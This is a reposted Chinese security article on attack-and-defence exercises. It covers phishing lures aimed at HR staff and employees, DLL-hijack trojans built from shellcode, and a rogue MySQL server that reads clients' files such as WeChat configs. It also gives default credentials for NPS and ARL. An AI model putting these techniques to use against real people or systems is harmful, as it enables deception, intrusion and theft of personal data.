攻防千层饼

news2024/11/20 21:32:52

近年来,网络安全领域正在经历一场不断升级的攻防对抗,这场攻防已经不再局限于传统的攻击与防御模式,攻击者和防守者都已经越发熟练,对于传统攻防手法了如指掌。

在这个背景下,攻击者必须不断寻求创新的途径,以突破外部网络目标的坚固防护体系,利用零日漏洞、社会工程学手法、供应链攻击、投毒攻击,或者更加隐秘的攻击向量,以规避传统的检测与响应机制。防守方也不再仅仅依赖于传统的防御策略,如IP封锁或简单的入侵检测,已经转向主动防御甚至主动进攻,采取主动情报收集、分析与分享,实时威胁情报监测、云安全服务、容器化防护等安全防护,以应对不断进化的威胁。更加激进的防守方会选择积极主动的策略,对攻击者发起反制攻击,拿下权限获取情报(更多的是被逼的,谁不想躺两周呢)。

本文将探讨这些非常规的攻击与防御手段。

钓鱼

在网络攻防中,社会工程学攻击(如钓鱼)是一种常见的攻击手段。攻击者利用人们的心理和行为特点,通过欺骗、伪装等手段获取敏感信息或实施其他恶意活动。

钓鱼攻击

目前钓鱼的形式多种多样,有常规钓鱼手段通过邮箱、微信等IM工具钓鱼,也有供应链官方升级文件投毒,代码投毒。

求职招聘

攻击者伪装求职平台的求职者,联系HR私加微信。经常聊天降低风险意识,并套话使用的什么终端设别,发送伪装成求职简历的木马文件名,HR运行上线。

或者伪装HR联系求职者

图片

投毒

在github,公众号等地方投毒

图片


供应链投毒

图片

社会工程学

通过在社交平台寻找疑似工作人员(重点关注微博抖音快手小红书),然后通过OSINT定制化钓鱼攻击,博取对方信任,然后投放木马

图片

仿冒IT运维人员

以密码过期、系统升级等理由,要求打开链接输入账号密码或者下载恶意附件

图片

图片

图片

补贴

图片

吃瓜

通过捏造吃瓜事件,吸引受害者点击恶意文件,在攻防时慎用此方式钓鱼,可能会被警告(21年某象)

图片

图片

图片

图片

反钓鱼攻击

可以在经过网络隔离的环境中模拟被钓鱼人员,运行攻击者的木马程序,同时准备一些模拟的敏感文件,例如VPN账号和密码、运维手册等等。这样,当攻击者尝试下载和运行这个木马程序时,可以对其进行反制。

DLL劫持制作木马

合法程序在运行的时候需要加载合法的dll,使用恶意的dll通过函数调用劫持合法dll,达到运行合法程序加载恶意dll的效果

使用拿破轮胎大佬的工具(工具下载网盘:链接https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

提取码:c29j)可以直接自动化劫持dll。

使用CS或者MSF的shellcode生成dll文件,这时文件目录会自动生成conf.inf文件和wwwcomw.dll文件,然后选择生成的wwwcomw.dll文件和要劫持的exe文件,即可生成被劫持的恶意程序。

图片

将conf.inf文件和wwwcomw.dll文件放入到和劫持的文件同一目录,点击运行即可执行shellcode

图片

NSIS制作安装包

使用nsis可以将上述多个文件打包成一个安装包,并可伪装成任意软件。软件下载地址:https://www.pc6.com/softview/SoftView_14342.html 软件使用教程:https://www.cnblogs.com/modou/p/3573772.html

图片

mysql蜜罐

21年国家HW时,某知名社区官方账号就曾使用该方法进行钓鱼,在一篇分析投毒代码中留下Mysql蜜罐的账号密码,吸引好事者登录mysql蜜罐,窃取敏感信息。

图片

LOAD DATA LOCAL INFILE

LOAD DATA LOCAL INFILE 是 MySQL 中用于将数据从本地文件加载到数据库表中的命令。这个命令允许用户通过指定本地文件的路径将数据导入到数据库表中。

读取服务端上的文件内容存入表中:

load data infile "文件" into table "表名" fields terminated by '分隔符';

读取客户端上的文件内容存入表中:

load data local infile "文件" into table "表名" fields terminated by '分隔符';

查看LOAD DATA LOCAL INFILE 功能开关状态

show global variables like 'local_infile';

图片


将LOAD DATA LOCAL INFILE 功能打开

set global local_infile=1;

蜜罐

利用代码伪造连接信息

图片


尝试读取文件信息

 if 'SET NAMES utf8' in res4:
                        conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
                        res5 = conn.recv(9999)
                        if 'SET character_set_results=NULL' in res5:
                            conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
                            conn.close()
                    else:
                        conn.close()
                else:
                    conn.close()
            else:
                conn.close()
        else:
            try:
                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
                conn.sendall(wantfile)
                content = conn.recv(99999999)
                # print(len(content))
                conn.close()
                if len(content) > 4:
                    if 'PFRO' in filename:
                        with open(logpath + "/PFRO.log", "w") as f:
                            f.write(content)
                            f.close()
                        return True
                    else:
                        with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
                            f.write(content)
                            f.close()
                        return True
                else:
                    return False
            except Exception as e:
                print (e)
    except Exception as e:
        print (e)

def run():
    port = 3306
    sv = socket.socket()
    sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sv.bind(("",port))
    sv.listen(100)

    while True:
        conn, address = sv.accept()
        logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'
        if os.path.exists(logpath):
            with open(logpath, 'r')as f:
                content = f.read()
            f.close()
            content = content.replace('\n','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')
            try:
                res = re.findall(r'Users\\(.*)\\', content)[0]
                username = res.split('\\')[0]
                line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'              
                if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):
                    res = mysql_get_file_content(line,conn,address)
                    if res:
                        print ("Read Success! ---> " + line)
                    else:
                        print ("Not Found~ ---> " + line)
                else:
                    conn.close()
            except Exception as e:
                print(e)
        else:
            line = 'C:/Windows/PFRO.log'
            res = mysql_get_file_content(line,conn,address)
            if res:
                print ("Read Success! ---> " + line)
            else:
                print ("Not Found~ ---> " + line)

项目地址:https://github.com/fnmsd/MySQL_Fake_Server

溯源反制

溯源

钓鱼邮件溯源

从邮件头入手,通常会包括"Received"字段,其中包含有关邮件传输的信息,如发件服务器的IP地址,对IP地址进行反查溯源。

图片

对邮箱账号进行溯源如“@qq.com”、“@gmail.com”等此类字符串,搜索账号等,如果使用的是私有域名邮箱,可以从这方面入手,有次就碰见EwoMail邮箱管理后台一般为8010端口使用了默认口令admin/ewomail123。

图片

邮件中可能包含域名链接或者后门木马也可进行溯源。

后门木马溯源

后门木马类型可能包括LNK、EXE、DOCX等。DOCX文件可能包含“最后编辑者名称”,EXE文件中可能包含PDB信息,尤其是在开发人员将项目存放在桌面时,这可能会导致编译信息与开发人员的终端名称相关联,LNK文件在创建时可能会捕获计算机名称。对回连 C2IP溯源。

NPS

未授权访问

当使用默认配置未配置auth_key参数时,可以利用时间戳直接伪造管理员token的漏洞。脚本利用:https://github.com/0xf4n9x/NPS-AUTH-BYPASS

默认密码

nps的默认账号密码为admin/123

图片

灯塔

默认密码

灯塔的默认账号密码为admin/arlpass

反溯源

NPS

故意留下未授权访问漏洞,或者易被猜解漏洞,如HW@2023,客户端内留下网络隔离环境的代理,同反钓鱼攻击。

灯塔

在一次攻防时,对攻击IP进行测绘,发现灯塔资产,使用未授权访问直接进入后台,发现大量shell。

图片


还好当时留了个心眼儿,用沙箱跑了一下,发现全是木马,也是学到了一波。

图片

原文地址:https://forum.butian.net/share/2454

                                       没看够?欢迎关注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1098661.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】头文件chrono

2023年10月16日,周一晚上 当前我只是简单的了解了一下chrono 以后可能会深入了解chrono并更新文章 目录 功能原理头文件chrono中的一些类头文件chrono中的数据类型一个简单的示例程序小实验:证明a的效率比a高 功能 这个chrono头文件是用来处理时间的…

git log 美化配置

编辑 vim ~/.gitconfig 添加配置 [alias]lg log --graph --abbrev-commit --decorate --dateformat:%m-%d %H:%M:%S --formatformat:%C(bold blue)%h%C(reset) - %s %C(bold yellow)% d%C(reset) %n %C(dim white) (%ad) - %an%C(reset) --allgit lg 效果

Ansible脚本进阶---playbook

目录 一、playbooks的组成 二、案例 2.1 在webservers主机组中执行一系列任务,包括禁用SELinux、停止防火墙服务、安装httpd软件包、复制配置文件和启动httpd服务。 2.2 在名为dbservers的主机组中创建一个用户组(mysql)和一个用户&#x…

Cesium Vue(三)— 相机配置

1. 坐标系转换 1.1 cesium使用到的坐标系 屏幕坐标系,二维的笛卡尔坐标系,API > Cartesian2地理空间坐标系,WGS-84坐标系, API > Cartographic(经度,维度,高度)三维笛卡尔空间直角坐标系&#xff0…

华为交换机S200, S1700系列产品命名规则

华为交换机的全系列产品命名规则如下: S系列:代表固定端口交换机。例如,S5720系列、S6720系列。CE系列:代表企业级交换机。例如,CE5800系列、CE6800系列。CloudEngine系列:代表华为云引擎交换机&#xff0c…

如何实现 Es 全文检索、高亮文本略缩处理(封装工具接口极致解耦)

如何实现 Es 全文检索、高亮文本略缩处理 前言技术选型JAVA 常用语法说明全文检索开发高亮开发Es Map 转对象使用核心代码 Trans 接口(支持父类属性的复杂映射)Trans 接口可优化的点高亮全局配置类如下真实项目落地效果为什么不用 numOfFragments、fragm…

数据结构与算法课后题-第五章(哈夫曼树和哈夫曼编码)

文章目录 选择题1选择题2选择题3选择题4选择题5选择题6选择题7应用题7 选择题1 选择题2 选择题3 需要深究 选择题4 选择题5 选择题6 选择题7 应用题7

【LeetCode刷题(数组and排序)】:存在重复元素

给你一个整数数组 nums 。如果任一值在数组中出现 至少两次 ,返回 true ;如果数组中每个元素互不相同,返回 false 示例 1: 输入:nums [1,2,3,1] 输出:true 示例 2: 输入:nums [1,2…

framework通信机制—LiveData使用方法及原理

LiveData是一种可观察的数据存储器类。与常规的可观察类不同,LiveData 具有生命周期感知能力,意指它遵循其他应用组件(如 activity、fragment 或 service)的生命周期。这种感知能力可确保 LiveData 仅更新处于活跃生命周期状态的应…

自我介绍思考

1.引导面试官有重点的看你简历 2.在引导部分暗示他我是最适合这个岗位的 面试官在考察什么? a.你的表述是否一致b.考察你的语言表达能力,逻辑思维能力,总结概括能力c.考察你对现场的把控能力d.对时间的把控能力 怎么做? 1.写逐…

uniapp中全局页面挂载组件(H5)

前言 我们已经学习了 uniapp中全局页面挂载组件(小程序) 有些小伙伴问在H5怎么做那让我们试一试 直接上代码 //引用组件 import dialog from ./index.vue; //我这里要把小程序的方法和h5方法写一起所以用了混入 import mixins from ./mixins.js //使用…

OJ项目【登录】——验证码、失败登录多次账户冻结、用户密码加密,我是如何实现的?

目录 前言 1、验证码 1.1、引入pom 1.2、前端核心代码 1.3、后端核心代码 2、账户冻结 2.1、思路: 2.2、核心代码示例: 3、密码加密——加盐算法 3.1、思路: 3.2、代码实现示例: 4、小结:展示我的项目 4…

[牛客习题]“幸运的袋子”

习题链接:幸运的袋子_牛客题霸_牛客网 题目分析 由题意可知:“幸运的袋子”的概念是——小球的数值之和大于小球的数值之积。 假如现在有5个小球:1,1,3,5,7,并将他们编号a0~a4.我们…

Vue项目路由加前缀

Vue项目路由加前缀 vue-cli3.0配置 1)静态资源前缀 vue.config.js /module.exports 配置 publicPath:“/前缀” 2)路由前缀 route/index.js export default new Router({ base:”/前缀" , }) 参考文章:https://blog.csd…

【Java学习之道】网络编程的基本概念

引言 这一章我们将一同进入网络编程的世界。在开始学习网络编程之前,我们需要先了解一些基本概念。那么,我们就从“什么是网络编程”这个问题开始吧。 一、网络编程的基本概念 1.1 什么是网络编程 网络编程,顾名思义,就是利用…

netca_crypto.dll找不到怎么修复?详细解决办法和注意事项

当你在使用计算机时,突然出现了一个错误提示:“netca_crypto.dll 找不到”。不知道该如何解决这个问题?其实要解决是非常的简单的,今天我们将为你提供几种修复 netca_crypto.dll 找不到的解决方法和一些注意事项。在深入探讨修复方…

普通螺纹基本牙型尺寸及拧紧力矩.exe

一、概要 本软件功能主要是通过输入螺纹原始三角形高度P,螺栓规格(公称直径)d,材料的屈服应力σs,计算出公称应力截面积As、外螺纹小径d1、外螺纹小径d2、拧紧力矩T等参数。 开发本软件的原因主要有以下几点: 提高设计效率:通过这款软件,工程师可以快速计算螺纹的基本牙…

转行网络安全是否可行?

一、前言 其实很多的IT大佬之前也不是专门学计算机的,都是后期转行的。而且大学学什么专业,对后期的工作真的没有太大关系,这也是现在高校的教育现状。有80%的学生都是通过临时抱佛脚,考前冲刺拿到毕业证书的。下面就带大家详细分…

2023年淘宝天猫双11红包领取活时间什么时候开始领天猫淘宝双十一红包优惠券?

2023年淘宝天猫双11红包领取活动开始与结束时间 2023年10月24日20:00开始领取至11月11日23:59结束; 2023年淘宝天猫双11红包活动使用开始与结束时间 第一波:2023年10月31日20:00开始使用至11月3日23:59 第二波:2023年11月10日20:00开始使用…

服务安全-应用协议rsync未授权ssh漏洞复现

目录 服务攻防-应用协议rsync&ssh漏洞复现漏洞复现配置不当-未授权访问-rsync文件备份OpenSSH 用户名枚举漏洞libssh身份验证绕过漏洞 服务攻防-应用协议rsync&ssh漏洞复现 漏洞复现 配置不当-未授权访问-rsync文件备份 rsync默认端口:873 rsync是Linux下…